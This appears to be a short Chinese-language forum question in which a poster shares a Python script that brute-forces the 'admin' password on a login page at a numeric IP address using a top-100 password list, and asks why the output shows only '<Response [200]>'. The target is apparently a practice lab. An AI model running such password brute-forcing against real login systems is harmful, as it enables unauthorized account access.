rt,本来想做一个暴力破解,post返回怎么是status?

import requests
data = {
    "username": "admin",
    "password": ""
}

url = "http://61.147.171.105:52394/check.php"

with open("D:\\hacker\\字典\\密码暴破字典\\字典超超超全\\top100.txt") as filein:
    for line in filein.readlines():
        data["password"] = line.split()
        res = requests.post(url, data=data)
        if res.text.find('password error') != -1:
            pass
        else:
            print(res)

console:

<Response [200]>

Process finished with exit code 0